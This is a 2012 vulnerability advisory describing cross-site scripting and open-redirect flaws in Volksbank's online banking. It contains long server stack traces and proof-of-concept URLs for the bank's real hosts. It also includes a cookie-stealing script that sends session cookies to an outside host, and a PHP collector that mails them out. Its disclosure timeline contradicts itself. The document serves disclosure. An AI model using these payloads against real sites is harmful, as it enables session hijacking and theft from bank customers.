Title:
======
VolksBank Online Banking - Multiple Web Vulnerabilities


Date:
=====
2012-02-07


References:
===========
https://www.vulnerability-lab.com/get_content.php?id=172


VL-ID:
=====
172


Introduction:
=============
Die Volksbank AG trifft eine Reihe von Sicherheitsvorkehrungen, die einen wirksamen Schutz gegen Angriffe 
bei der Übertragung der Daten oder der Verarbeitung auf dem Bankenserver bieten. Treffen auch Sie Vorkehrungen 
zum Schutz vor unberechtigten Manipulationen oder Eingriffen von Dritten und melden Sie uns auffällige Mails.
Geben Sie auf der folgenden Seite als Verfügernummer eine beliebige Zahl ein und klicken Sie anschließend auf 
LOGINum die Demo-Version zu starten. 

(Copy of the Vendor Homepage: https://www.banking.co.at/appl/ebp/login.html?resource=074&demo=true)


Abstract:
=========
An anonymous Vulnerability Lab Researcher discovered multiple Web Vulnerabilities in the online-banking system of volksbank.


Report-Timeline:
================
2011-07-03:  Vendor Notification 1
2011-08-25:  Vendor Notification 2
2011-11-17:  Vendor Notification 3
2012-01-09:  Vendor Notification 4
2011-**-**:  Vendor Response/Feedback
2011-**-**:  Vendor Fix/Patch
2011-02-07:  Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
1.1
Multiple Input Validation vulnerabilities are detected on hte volksbank portal & banking website.
Remote attackers can include malicious persistent script-codes on application side of the vulnerable affected modules.
The vulnerability allows an attacker also to hijack not expired customers sessions.

Vulnerable Module(s):
            [+] Vorlagen Name
            [+] Exception Handling
            [+] Vorlagen Gruppen Name
            [+] Default ASPX

--- Exception Logs ---
Error Page Exception
SRVE0260E: The server cannot use the error page specified for your application to handle the Original Exception printed below.

Original Exception:
Error Message: SRVE0295E: Error reported: 400
Error Code: 400
Target Servlet: /zib/de/include/search_ergebnisn.jsp
Error Stack:
com.ibm.ws.webcontainer.webapp.WebAppErrorReport: SRVE0295E: Error reported: 400
     at java.lang.Throwable.(Throwable.java:67)
     at javax.servlet.ServletException.(ServletException.java:72)
     at com.ibm.websphere.servlet.error.ServletErrorReport.(ServletErrorReport.java:67)
     at com.ibm.ws.webcontainer.webapp.WebAppDispatcherContext.sendError(WebAppDispatcherContext.java:600)
     at com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1180)
     at com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1162)
     at at.co.arz.cms.hk010.volksbank.filter.ParameterValidationFilter.doFilter(ParameterValidationFilter.java:67)
     at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188)
     at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116)
     at at.co.arz.cms.hk010.volksbank.filter.DomainBranchValidationFilter.doFilter(DomainBranchValidationFilter.java:124)
     at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188)
     at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116)
     at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77)
     at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908)
     at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934)
     at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502)
     at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179)
     at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121)
     at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241)
     at com.ibm.ws.webcontainer.webapp.WebApp.handleRequest(WebApp.java:3826)
     at com.ibm.ws.webcontainer.webapp.WebGroup.handleRequest(WebGroup.java:276)
     at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:931)
     at com.ibm.ws.webcontainer.WSWebContainer.handleRequest(WSWebContainer.java:1583)
     at com.ibm.ws.webcontainer.channel.WCChannelLink.ready(WCChannelLink.java:186)
     at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:445)
     at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewRequest(HttpInboundLink.java:504)
     at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.processRequest(HttpInboundLink.java:301)
     at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready(HttpInboundLink.java:275)
     at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:214)
     at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:113)
     at com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted(AioReadCompletionListener.java:165)
     at com.ibm.io.async.AbstractAsyncFuture.invokeCallback(AbstractAsyncFuture.java:217)
     at com.ibm.io.async.AsyncChannelFuture.fireCompletionActions(AsyncChannelFuture.java:161)
     at com.ibm.io.async.AsyncFuture.completed(AsyncFuture.java:138)
     at com.ibm.io.async.ResultHandler.complete(ResultHandler.java:204)
     at com.ibm.io.async.ResultHandler.runEventProcessingLoop(ResultHandler.java:775)
     at com.ibm.io.async.ResultHandler$2.run(ResultHandler.java:905)
     at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1563)
    


Error Page Exception:
Error Message: java.lang.NumberFormatException: For input string: <INCLUDE PERSISTENT MALICIOUS SCRIPTCODE HERE!>
Error Code: 0
Target Servlet: null
Error Stack:
java.lang.NumberFormatException: For input string: <INCLUDE PERSISTENT MALICIOUS SCRIPTCODE HERE!>
     at java.lang.Throwable.<init>(Throwable.java:67)
     at java.lang.NumberFormatException.forInputString(NumberFormatException.java:60)
     at java.lang.Integer.parseInt(Integer.java:470)
     at java.lang.Integer.parseInt(Integer.java:511)
     at com.ibm._jsp._navigation_5F_oben._jspService(_navigation_5F_oben.java:184)
     at com.ibm.ws.jsp.runtime.HttpJspBase.service(HttpJspBase.java:99)
     at javax.servlet.http.HttpServlet.service(HttpServlet.java:831)
     at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1657)
     at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1597)
     at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:104)
     at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77)
     at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908)
     at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934)
     at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502)
     at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179)
     at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121)
     at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241)
     at com.ibm.ws.webcontainer.webapp.WebAppRequestDispatcher.include(WebAppRequestDispatcher.java:673)
     at org.apache.jasper.runtime.JspRuntimeLibrary.include(JspRuntimeLibrary.java:1045)
     at org.apache.jasper.runtime.JspRuntimeLibrary.include(JspRuntimeLibrary.java:1006)
     at com.ibm._jsp._error_5F_400._jspService(_error_5F_400.java:256)
     at com.ibm.ws.jsp.runtime.HttpJspBase.service(HttpJspBase.java:99)
     at javax.servlet.http.HttpServlet.service(HttpServlet.java:831)
     at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1657)
     at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1597)
     at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:104)
     at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77)
     at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908)
     at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934)
     at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502)
     at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179)
     at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121)
     at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241)
     at com.ibm.ws.webcontainer.webapp.WebAppRequestDispatcher.forward(WebAppRequestDispatcher.java:341)
     at com.ibm.ws.webcontainer.webapp.WebApp.sendError(WebApp.java:3262)
     at com.ibm.ws.webcontainer.webapp.WebAppDispatcherContext.sendError(WebAppDispatcherContext.java:645)
     at com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1180)
     at com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1162)
     at at.co.arz.cms.hk010.volksbank.filter.ParameterValidationFilter.doFilter(ParameterValidationFilter.java:67)
     at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188)
     at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116)
     at at.co.arz.cms.hk010.volksbank.filter.DomainBranchValidationFilter.doFilter(DomainBranchValidationFilter.java:124)
     at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188)
     at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116)
     at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77)
     at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908)
     at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934)
     at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502)
     at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179)
     at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121)
     at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241)
     at com.ibm.ws.webcontainer.webapp.WebApp.handleRequest(WebApp.java:3826)
     at com.ibm.ws.webcontainer.webapp.WebGroup.handleRequest(WebGroup.java:276)
     at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:931)
     at com.ibm.ws.webcontainer.WSWebContainer.handleRequest(WSWebContainer.java:1583)
     at com.ibm.ws.webcontainer.channel.WCChannelLink.ready(WCChannelLink.java:186)
     at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:445)
     at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewRequest(HttpInboundLink.java:504)
     at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.processRequest(HttpInboundLink.java:301)
     at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready(HttpInboundLink.java:275)
     at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:214)
     at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:113)
     at com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted(AioReadCompletionListener.java:165)
     at com.ibm.io.async.AbstractAsyncFuture.invokeCallback(AbstractAsyncFuture.java:217)
     at com.ibm.io.async.AsyncChannelFuture.fireCompletionActions(AsyncChannelFuture.java:161)
     at com.ibm.io.async.AsyncFuture.completed(AsyncFuture.java:138)
     at com.ibm.io.async.ResultHandler.complete(ResultHandler.java:204)
     at com.ibm.io.async.ResultHandler.runEventProcessingLoop(ResultHandler.java:775)
     at com.ibm.io.async.ResultHandler$2.run(ResultHandler.java:905)
     at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1563) 


Picture(s):
      ../volksbank.com.png
      ../volksbank.com2.png


1.2
Multiple Input Validation vulnerabilites are detected on client-side of the volksbank portal & banking website.
Remote attackers can hijack customer sessions/cookies via cross site scripting with high required user inter action.

Vulnerable Module(s):
            [+] Search

Picture(s):
            ../volksbank.com3.png
            ../volksbank.com4.png
            ../volksbank.com5.png


1.3
A redirection vulnerability allows an attacker to redirect the website or implement phishing routines via ?url request on client-side.


Vulnerable Module(s):
            [+] Kurse & Banking
            [+] IPO News Index

Picture(s):
            ../volksbank.com6.png
            ../volksbank.com7.png


Proof of Concept:
=================
The vulnerabilites can be exploited by remote attackers or local privileged user accounts. For demonstration or reproduce ...

1.2 Server-Side
https://www.banking.co.at/appl/ebp/vorlage/erstellenaaueb.html[IVE]
https://www.banking.co.at/appl/ebp/vorlage/verwaltung/gruppen_update.html?vorlgrpid=1&jsStat=disabled[IVE]
https://www.banking.co.at/appl/ebp/vorlage/verwaltung/gruppen.html[IVE]
https://kurse.banking.co.at/volksbank/default.aspx?action=securityDetails&id=tts-5234010&menuId=1&pathName=[IVE]&lang=de&showMainOnly=yes
https://kurse.banking.co.at/volksbank/Default.aspx?action=chartDetail&id=tts-

5234010&type=javaChart&menuId=1&lang=de&showMainOnly=yes&pathName=[IVE]HERE%20CAN%20YOU%20INCLUDE%20ANYTHING!!!
https://kurse.banking.co.at/volksbank/default.aspx?action=iframe&ifheight=600&menuId=15&lang=de[IVE]


1.2 Client-Side
https://www.volksbank.com/m101/volksbank/zib/de/individuelle_seite/regionale_Inhalte/private_ibanking/ibk.jsp?locincl=[IVE]
https://www.volksbank.com/m101/volksbank/zib/de/include/search_ergebnisn.jsp?menu1=-1&locincl=/m101_oevag&loclink=[IVE]
https://www.volksbank.com/m101/volksbank/zib/de/individuelle_seite/regionale_Inhalte/private_ibanking/ibk.jsp?locincl=[IVE]
https://kurse.banking.co.at/volksbank/default.asp?menu1=5&menu2=6&menu1name=%22%3E%3Ciframe%20src=https://global-evolution.info/

%20height=800%20width=800%3E&menu1link=/de/modul/kurse_maerkte.jsp&menu2name=AGAIN&menu2link=/de/modul/kurse_maerkte.jsp?

seite=6&branch=m101_oevag&language=de&loclink=/m101/volksbank/m101_oevag&locincl=/m101_oevag&stage=p&dcr_name=templatedata/vb_modul/kurse_maer

kte/data/de/kurse_maerkte&thisjsp=/de/modul/kurse_maerkte&bc=navi&seite=6&url=www.volksbank.com&titel=Volksbank+AG+-+B%F6rsen+%26+M%E4rkte
https://www.banking.co.at/appl/ebp/karten/umsatzuebersicht.html?reqAttrCreditCardNumber=[IVE]


1.3 Redirection Vulnerabilities
https://kurse.banking.co.at/volksbank/default.asp?url=global-evolution.info/evil-file.html
https://kurse.banking.co.at/volksbank/default.asp?menu1=5&menu2=1&menu3=6&menu1name=B%F6rsen+%26+M

%E4rkte&menu1link=/de/modul/kurse_maerkte.jsp&menu2name=M%E4rkte%2FIndizes&menu2link=/de/modul/kurse_maerkte.jsp?seite=1&menu3name=IPO-

News&menu3link=/de/modul/kurse_maerkte.jsp?

seite=1_6&branch=m101_oevag&language=de&loclink=/m101/volksbank/m101_oevag&locincl=/m101_oevag&stage=p&dcr_name=&thisjsp=/de/modul/kurse_maerk

te.jsp?seite=1_6&bc=nutchsearch&seite=12&url=www.volksbank.com&titel=Volksbank+AG+-+B%F6rsen+%26+M%E4rkte&iframeUrl=https://global-

evolution.info/evil-file.html


----
script.js
location.href='https://www.volksbank.com/m101/volksbank/zib/de/individuelle_seite/regionale_Inhalte/private_ibanking/ibk.jsp?locincl=

%3C/script%3E%20%22%3E
%3Cscript%20src%3Dhttp%3A//global-evolution.info/grep.php%3E%3C/script%3E?nice='+escape(document.cookie)

grep.php
<?
$cookie = $_GET['nice'];
$ip = getenv("REMOTE_ADDR");
$Time = date("l dS of F Y h:i:s A"); 
$msg = "Cookie: $cookie\nIP Address: $ip\Time: $Time";
$subject = "cookie";
mail("tester@bad-server.com", $subject, $msg);
header ("location: https://www.volksbank.com/");
?>


Risk:
=====
1.1
The security risk of the persistent vulnerabilities are estimated as high(-) because of low required user inter action.

1.2
The security risk of the non-persistent vulnerabilities are estimated as medium(-) because of high required user inter action.

1.3
The security risk of the redirect vulnerability is estimated as low.


Credits:
========
Vulnerability Research Laboratory  -  Benjamin Kunz Mejri


Disclaimer:
===========
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                Copyright © 2012|Vulnerability-Lab

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